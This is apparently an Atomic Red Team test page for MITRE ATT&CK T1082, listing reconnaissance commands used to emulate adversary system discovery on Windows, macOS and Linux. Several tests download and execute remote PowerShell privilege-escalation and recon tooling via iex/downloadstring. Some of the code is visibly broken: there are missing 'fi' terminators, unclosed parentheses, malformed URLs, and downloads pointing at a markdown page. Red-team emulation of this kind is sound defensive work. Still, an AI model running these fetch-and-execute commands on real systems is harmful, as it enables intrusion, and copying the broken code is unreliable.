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732 lines (306 loc) · 16.5 KB

T1082 - System Information Discovery

Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](<https://attack.mitre.org/techniques/T1082>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](#) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. As an example, adversaries with user-level access can execute the `df -aH` command to obtain currently mounted disks and associated freely available space.

Adversaries may also leverage a [Network Device CLI](#) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](#) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)
(Citation: Microsoft Virtual Machine API)

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Preview

Code

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Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

Supported Platforms: Windows

auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667

Attack Commands: Run with `command_prompt` !

```
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
```



Atomic Test #2 - System Information Discovery

Identify System Info

Supported Platforms: macOS

auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6

Attack Commands: Run with `sh` !

```
system_profiler
ls -al /Applications
```



Atomic Test #3 - List OS Information

Identify System Info

Supported Platforms: Linux, macOS

auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c

Inputs:

Name	Description	Type	Default Value
output_file	Output file used to store the results.	Path	/tmp/T1082.txt

Attack Commands: Run with `sh` !

```
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi;
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi;
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi;
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
```

Cleanup Commands:

```
rm #{output_file} 2>/dev/null
```

Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec

Attack Commands: Run with **bash** !

```
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|vbox"; fi;
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi;
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox"; fi;
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi;
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi;
```

Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e

Attack Commands: Run with **bash** !

```
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_balloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
```

Atomic Test #6 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Supported Platforms: Windows

auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f

Attack Commands: Run with `command_prompt` !

```
hostname
```



Atomic Test #7 - Hostname Discovery

Identify system hostname for Linux and macOS systems.

Supported Platforms: Linux, macOS

auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133

Attack Commands: Run with `bash` !

```
hostname
```



Atomic Test #8 - Windows MachineGUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Supported Platforms: Windows

auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Attack Commands: Run with `command_prompt` !

```
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
```



Atomic Test #9 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](#).

For more information see also <https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon> and <https://attack.mitre.org/software/S0417/>

Supported Platforms: Windows

auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

Name	Description	Type	Default Value
vbscript	Path to sample script	String	PathToAtomicsFolder\T1082\src\griffon_recon.vbs

Attack Commands: Run with powershell !

```
cscript #{vbscript}
```

Atomic Test #10 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: Windows

auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

Attack Commands: Run with `command_prompt` !

```
set
```



Atomic Test #11 - Environment variables discovery on macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: macOS, Linux

auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720

Attack Commands: Run with `sh` !

```
env
```



Atomic Test #12 - Show System Integrity Protection status (MacOS)

Read and Display System Integrity Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Supported Platforms: macOS

auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

Attack Commands: Run with `sh` !

```
csrutil status
```



Atomic Test #13 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Supported Platforms: Windows

auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/winPEAS -noninteractive -consoleoutput')
```



Atomic Test #14 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/itm4nprivesc -noninteractive -consoleoutput')
```



Atomic Test #15 - WinPwn - Powersploits privesc checks

Powersploit's privesc checks using oldchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7

Attack Commands: Run with `powershell` !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/oldchecks -noninteractive -consoleoutput')
```



Cleanup Commands:

```
rm -force -recurse .\DomainRecon -ErrorAction Ignore  
rm -force -recurse .\Exploitation -ErrorAction Ignore  
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore  
rm -force -recurse .\LocalRecon -ErrorAction Ignore  
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
```



Atomic Test #16 - WinPwn - General privesc checks

General privesc checks using the otherchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

Attack Commands: Run with `powershell` !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/otherchecks -noninteractive -consoleoutput')
```



Atomic Test #17 - WinPwn - GeneralRecon

Collect general computer informations via GeneralRecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Generalrecon -consoleoutput -noninteractive'
```



Atomic Test #18 - WinPwn - Morerecon

Gathers local system information using the Morerecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Morerecon -noninteractive -consoleoutput'
```



Atomic Test #19 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Supported Platforms: Windows

auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/RBCD-Check -consoleoutput -noninteractive')
```



Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-watson')
```



Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: Windows

auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgeyS3rgey/Atomic-Red-Team/main/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery')  
Invoke-SharpUp -command "audit"
```

Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](#) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: Windows

auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgeyS3rgey/Atomic-Red-Team/main/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery')  
Invoke-Seatbelt -Command "-group=all"; pause
```